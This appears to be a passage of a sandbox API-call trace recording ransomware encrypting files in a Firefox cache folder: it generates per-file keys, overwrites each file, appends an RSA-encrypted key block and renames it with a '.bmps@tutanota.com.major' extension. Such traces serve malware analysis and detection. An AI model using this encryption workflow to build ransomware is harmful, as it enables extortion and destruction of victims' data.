MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0283.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437660 | out: hHeap=0x570000) returned 1 [0283.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437c90 | out: hHeap=0x570000) returned 1 [0283.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437b88 [0283.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0283.443] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6", dwFileAttributes=0x80) returned 1 [0283.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437c90 [0283.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437c90 | out: hHeap=0x570000) returned 1 [0283.444] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.444] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4451) returned 1 [0283.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1163) returned 0x3439010 [0283.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1163) returned 0x2f39028 [0283.444] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1163, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1163, lpOverlapped=0x0) returned 1 [0283.521] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4451, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.521] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1163, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1163, lpOverlapped=0x0) returned 1 [0283.521] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.521] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0283.521] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1163 [0283.521] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.521] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1H02iwc/mOPTn4pOLtWf1y2RY5bww7qzQO0ILmJlyKT4nfyGSqc+JoVL1PEevGL/\nbezmXbUCsOLKBy7UvZtQnyA0tBkGqg0WhX2JtVxh/muqqqo2cWGkag/ELNUr8dar\nFZbMdC+KiGFC+v8d4/+fNgwZ54o5YXggVUJZTD70+K5uA4xJdGPZ+8OYDY2azV2C\nZrhFWSbLBgaYThSUMJ/etR/0HWi3Et+IKKkG/nvjgzw2jbD6KyaYOHufe22XnGq8\nYm3Df+eusrj57aWrVxMH6kuFAnCox1CseYC9YZ/DjuuiQ8KGamp+CnFxaBP+IVGU\nvn5AlXUnCpGaqVPzgBdlEQ==\n", pcchString=0x2e3f9a8) returned 1 [0283.522] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.522] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.522] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.522] CloseHandle (hObject=0x1b84) returned 1 [0283.522] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.522] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0283.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437b88 | out: hHeap=0x570000) returned 1 [0283.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34383c8 | out: hHeap=0x570000) returned 1 [0283.524] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0283.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0283.525] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.525] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623", dwFileAttributes=0x80) returned 1 [0283.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437030 [0283.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.525] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437030 | out: hHeap=0x570000) returned 1 [0283.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.526] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21443) returned 1 [0283.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x53c3) returned 0x343b820 [0283.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x53c3) returned 0x3540048 [0283.526] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x53c3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x53c3, lpOverlapped=0x0) returned 1 [0283.586] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-21443, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.586] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x53c3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x53c3, lpOverlapped=0x0) returned 1 [0283.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0283.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0283.586] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x53c3 [0283.586] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.586] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.586] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.586] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.587] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.587] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ttcpfhiLYiBADwfF7JIhDGftKxfUzchp1xlhvwXaqnnw44YGc9aOVco/MSAGJyQb\n5+XmXoxILABL264xgrRDSQ+CS+R7Bec5ZpYl+fY28FTFpc/G6Ouz0RaogealYDgd\nET6PEaLzKCtcGYhtOpf4ceSqBgvukd9QJu6i0SweJ4OxAU2yGJ//OoKYdW2OCc/n\nAq+V/+FrGWMkKRbLfhTtFM7RoshcNukzBi9AccUgqODno3sCPjxO3Y0JzAYtD6PA\n/ljax5ajRNM5jGvEnYhX0lhLPD2Q80YjjBArBLb+Cxu45I6lRwGLDxCK74RtI7qr\nUXwAgKIN7+Ikwa2dVri9fQ==\n", pcchString=0x2e3f9a8) returned 1 [0283.587] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.587] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.587] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.587] CloseHandle (hObject=0x1b84) returned 1 [0283.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.587] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0283.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0283.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438e18 | out: hHeap=0x570000) returned 1 [0283.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34380b0 [0283.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0283.589] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.589] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45", dwFileAttributes=0x80) returned 1 [0283.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34383c8 [0283.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34383c8 | out: hHeap=0x570000) returned 1 [0283.590] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.590] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2143) returned 1 [0283.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x85f) returned 0x3446048 [0283.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x85f) returned 0x3439010 [0283.590] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x85f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x85f, lpOverlapped=0x0) returned 1 [0283.819] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.820] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0x85f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x85f, lpOverlapped=0x0) returned 1 [0283.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0283.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.820] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x85f [0283.820] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.820] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.820] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.820] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gLc+apNOk7sDtCXOMcKZ8deJ+BWj87HCO4AJI516a6QVnH26WEgJKp+M4qpu8Dk2\nqzW7PTffihW/zQ9LVIMnIYznH9v08HLvilONH78AmFN+QreqM7dc2yPDeBzUSjOZ\neOmdZoASRzx9t+NTdWyy98ZrAIkNb2iTYT5fM25oxz8BL2n7LTDNrMKlsE9VEJh0\nAh3wjRN9rTnQcR4EteJtr572UoChEW8eRhGpAHV6v4Zw/joYlbx/tollyk0vsfEt\nEMa07bXaDqHxit4v356zJ6EerDCZtfBKKdpk5DzmAiOZOLJbRfR14iId0gedntyp\nYT+Bv6bLRqZeom9YHnv8dw==\n", pcchString=0x2e3f9a8) returned 1 [0283.821] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.821] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.821] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.821] CloseHandle (hObject=0x1b84) returned 1 [0283.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.821] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0283.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34380b0 | out: hHeap=0x570000) returned 1 [0283.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437fa8 | out: hHeap=0x570000) returned 1 [0283.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437fa8 [0283.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0283.823] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.823] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5", dwFileAttributes=0x80) returned 1 [0283.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437348 [0283.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0283.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.824] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6036) returned 1 [0283.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1794) returned 0x3439010 [0283.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1794) returned 0x2f39028 [0283.824] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1794, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1794, lpOverlapped=0x0) returned 1 [0283.877] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.877] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1794, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1794, lpOverlapped=0x0) returned 1 [0283.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0283.877] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1794 [0283.877] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.877] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.878] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.878] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.878] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.878] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 